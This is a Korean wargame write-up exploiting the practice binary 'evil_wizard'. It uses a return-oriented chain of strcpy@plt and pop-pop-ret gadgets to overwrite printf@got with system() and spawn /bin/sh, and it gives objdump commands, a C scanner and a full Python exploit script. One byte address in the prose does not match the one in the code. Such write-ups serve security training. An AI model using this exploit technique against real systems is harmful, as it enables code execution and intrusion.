이번 문제의 힌트는 got overwrite다.
함수의 got를 덮어써서 원하는 함수(system?)를 실행시키면 될 것 같다.
gdb에서 set명령으로 got를 바꾸어 보았지만 쉘이 안따졌다.
ROP로 문제를 풀어보았다.
ROP를 하기 위해 필요한 가젯과 주소들이 있다.
1. POP POP RET = 줄여서 ppr이라고 하겠다.
2. system() 주소
3. printf@plt
4. printf@got
5./bin/sh의 주소
1. ppr 주소
아래 명령어로 ppr 가젯의 위치를 구한다.
$ objdump -d evil_wizard | grep ret -B 3
ppr의 주소는 0x804854f다.
2. system() 주소
system함수 주소는 0x7507c0이다.
이제 system 함수의 조각들이 있는 위치를 각각 찾아야 한다.
명령어는 아래와 같다.
$ objdump -s [파일명] | grep [찾을 문자(열)] --color=auto
리틀엔디언 방식으로 입력해줘야 하니까 system[0]에 c0을 먼저 찾아 넣어야 한다.
c0의 주소는 0x8048414+0xc다.
07의 주소는 0x8048148+0xc다.
.
75의 주소는 0x80482c8이다.
00의 주소는 0x8049840이다.
3. printf@got
printf@got는 0x8049884다.
4. printf@plt 주소
printf@plt의 주소는 0x8048424다.
5. /bin/sh의 주소
#include <stdio.h>
int main()
{
long shell=0x007507c0;
while(memcmp((char*)shell,"/bin/sh",8)) shell++;
printf("/bin/sh : 0x%x\n",shell);
}
/bin/sh의 주소는 c로 소스를 짜서 구할 수 있다.
/bin/sh의 주소는 0x833603이다.
이제 필요한 주소와 가젯을 다 찾았으니 payload를 작성하자.
payload 예시
"A"*268 + strcpy@plt + ppr + printf@got+0 + system[0]
strcpy@plt + ppr + printf@got+1 + system[1]
strcpy@plt + ppr + printf@got+2 + system[2]
strcpy@plt + ppr + printf@got+3 + system[3]
printf@plt + "AAAA" + "/bin/sh"
pop pop ret가젯으로 printf@got에 system 함수의 주소를 복사한 후 printf@plt를 실행해서 /bin/sh을 실행하는 페이로드다.
페이로드가 길므로 파이썬으로 익스를 짰다.
payload
import os
from struct import *
p = lambda x : pack('<L', x)
strcpyplt = 0x8048494
ppr = 0x804854f
printfplt = 0x8048424
printfgot = 0x8049884
binsh = "\x03\x36\x83"
system = [0x8048420, 0x8048374+4, 0x80482c8, 0x8049840]
payload = "A"*268
payload += p(strcpyplt) + p(ppr) + p(printfgot+0) + p(system[0])
payload += p(strcpyplt) + p(ppr) + p(printfgot+1) + p(system[1])
payload += p(strcpyplt) + p(ppr) + p(printfgot+2) + p(system[2])
payload += p(strcpyplt) + p(ppr) + p(printfgot+3) + p(system[3])
payload += p(printfplt) + "AAAA" + binsh
os.execv("./evil_wizard",["",payload])
익스 성공